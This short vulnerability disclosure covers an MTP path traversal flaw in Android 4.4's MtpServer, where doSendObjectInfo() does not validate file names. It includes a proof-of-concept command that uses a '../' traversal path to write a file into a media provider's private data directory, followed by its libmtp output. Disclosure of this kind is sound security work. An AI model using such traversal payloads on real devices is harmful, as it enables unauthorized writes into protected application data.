MTP path traversal vulnerability in Android 4.4

doSendObjectInfo() method of the MtpServer class implemented in
frameworks/av/media/mtp/MtpServer.cpp does not validate the name
parameter of the incoming MTP packet at all.

It is possible to upload files outside of the sdcard using a specially
crafted MTP request:

root@testpc:~/mtp-test# ./mtp-mysend sdf.txt ../../../.././../data/data/com.android.providers.media/sdf.txt
libmtp version: 1.1.3

Device 0 (VID=18d1 and PID=4e42) is UNKNOWN.
Please report this VID/PID and the device model to the libmtp
development team
